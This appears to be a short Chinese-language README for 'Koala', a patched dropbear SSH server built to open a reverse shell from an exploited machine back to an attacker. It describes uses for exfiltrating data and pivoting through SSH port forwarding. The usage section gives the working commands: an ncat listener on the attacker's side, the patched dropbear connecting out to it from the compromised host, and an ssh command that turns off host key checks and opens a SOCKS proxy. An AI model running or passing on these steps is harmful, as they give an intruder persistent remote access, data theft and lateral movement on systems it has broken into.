Koala 是 dropbear SSH 服务器的一个修补版本,它不绑定到端口,而是通过连接到远程客户端来开启反向 Shell。
这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击(Pivoting)。
[用法]
在客户端上运行以下命令以监听 SSH 连接: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
在已被利用的主机上运行: $ ./dropbear -p client-host:5000
现在在客户端上,连接到端口 9999 以开启 Shell: $ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999